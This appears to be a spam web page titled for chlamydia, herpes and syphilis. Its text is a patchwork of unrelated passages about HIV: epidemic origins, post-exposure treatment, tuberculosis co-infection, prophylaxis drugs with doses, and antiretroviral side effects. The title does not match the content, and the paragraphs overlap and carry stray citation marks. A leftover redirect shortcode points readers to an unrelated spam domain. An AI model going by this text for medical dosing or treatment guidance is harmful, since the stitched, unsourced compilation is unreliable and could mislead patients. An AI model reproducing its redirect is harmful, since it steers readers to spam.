“Chlamydia Effects -Difference Between Herpes And Syphilis”

Specific proposed high-risk transmission channels, allowing the virus to adapt to humans and spread throughout the society, depend on the timing of the animal-to-human crossing. Genetic studies of the virus suggest that the most recent common ancestor of the HIV-1 M group dates back to circa 1910.[239] Proponents of this dating link the HIV epidemic with the emergence of colonialism and growth of large colonial African cities, leading to social changes, including a higher degree of sexual promiscuity, the spread of prostitution, and the accompanying high frequency of genital ulcer diseases (such as syphilis) in nascent colonial cities.[240] While transmission rates of HIV during vaginal intercourse are low under regular circumstances, they are increased many fold if one of the partners suffers from a sexually transmitted infection causing genital ulcers. Early 1900s colonial cities were notable due to their high prevalence of prostitution and genital ulcers, to the degree that, as of 1928, as many as 45% of female residents of eastern Kinshasa were thought to have been prostitutes, and, as of 1933, around 15% of all residents of the same city had syphilis.[240]

PEP treatment is recommended after a sexual assault when the perpetrator is known to be HIV positive, but is controversial when their HIV status is unknown.[138] The duration of treatment is usually four weeks[139] and is frequently associated with adverse effects—where zidovudine is used, about 70% of cases result in adverse effects such as nausea (24%), fatigue (22%), emotional distress (13%) and headaches (9%).[49]

In developing nations, co-infection with HIV and tuberculosis is very common. The immunosuppressed state induced by HIV infection contributes not only to a higher rate of tuberculosis reactivation but also to an increased disease severity, as with many other opportunistic infections.

In summary, patients with a CD4 cell count of less than 200 cells/mm3 should receive preventative treatment against Pneumocystis jiroveci with trimethoprim/sulfamethoxazole (Bactrim, Septra), given once daily or three times weekly. If they are intolerant to that drug, patients can be treated with an alternative drug such as dapsone or atovaquone (Mepron). Those patients with a CD4 cell count of less than 100 cells/mm3 who also have evidence of past infection with Toxoplasma gondii, which is usually determined by the presence of Toxoplasma antibodies in the blood, should receive trimethoprim/sulfamethoxazole. Toxoplasmosis is an opportunistic parasitic disease that affects the brain and liver. If a person is using dapsone to prevent Pneumocystis jiroveci, pyrimethamine and leucovorin can be added once a week to dapsone to prevent toxoplasmosis. Finally, patients with a CD4 cell count of less than 50 cells/mm3 should receive preventive treatment for Mycobacterium avium complex (MAC) infection with weekly azithromycin (Zithromax), or as an alternative, twice daily clarithromycin (Biaxin) or rifabutin (Mycobutin). MAC is an opportunistic bacterium that causes infection throughout the body. Many of these drugs can be stopped if initial antiviral therapy results in good viral suppression and sustained increases in CD4 cells.

A transmissible retrovirus that causes AIDS in humans. Two forms of HIV are now recognized: HIV-1, which causes most cases of AIDS in Europe, North and South America, and most parts of Africa; and HIV-2, which is chiefly found in West African patients. HIV-2, discovered in 1986, appears to be less virulent than HIV-1, but also may have a longer latency period.

A retrovirus of the subfamily lentivirus that causes acquired immunodeficiency syndrome (AIDS). The most common type of HIV is HIV-1, identified in 1984. HIV-2, first discovered in West Africa in 1986, causes a loss of immune function and the subsequent development of opportunistic infections identical to those associated with HIV-1 infections. The two types developed from separate strains of simian immunodeficiency virus. In the U.S., the number of those infected with HIV-2 is very small, but blood donations are screened for both types of HIV.

Tuberculosis (TB) is the most common presenting illness and cause of death among people with HIV. It is fatal if undetected or untreated and is the leading cause of death among people with HIV, responsible for 1 of 3 HIV-associated deaths.

Side effects associated with EFV are mostly dizziness, confusion, fatigue, and vivid dreams. These tend to be most prominent during the first weeks of therapy and then often decrease in severity. It is generally recommended that EFV be taken at bedtime so that the patient is asleep during the time dizziness and confusion may be most severe. It is also noteworthy that there may be an increased risk of depression associated with the use of this drug, and it should be used with caution in those with poorly managed depression. Rash and liver inflammation can occur with both EFV and DLV, and these drugs may also be linked to abnormalities of lipids in the blood. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

  1. CD4 count < 200/μL or oropharyngeal candidiasis (active or previous): Prophylaxis against P. jirovecii pneumonia is recommended. Double-strength trimethoprim/sulfamethoxazole (TMP/SMX) tablets given once/day or 3 times/wk are effective. Some adverse effects can be minimized with the 3 times/wk dose or by gradual dose escalation. Some patients who cannot tolerate TMP/SMX can tolerate dapsone (100 mg once/day). For the few patients who cannot tolerate either drug because of a troublesome adverse effect (eg, fever, neutropenia, rash), aerosolized pentamidine 300 mg once/day or atovaquone 1500 mg once/day can be used. Safer sex practices, such as using latex condoms, are effective in preventing the spread of HIV. But there is still a risk of getting the infection, even with the use of condoms (for example, condoms can tear). Abstinence is the only sure way to prevent sexual transmission of HIV. The clinician providing care for a woman who is infected with HIV has important responsibilities concerning disclosure of the patient's serostatus. Clinicians providing health care should be aware of and respect legal requirements regarding confidentiality and disclosure of HIV-related clinical information.
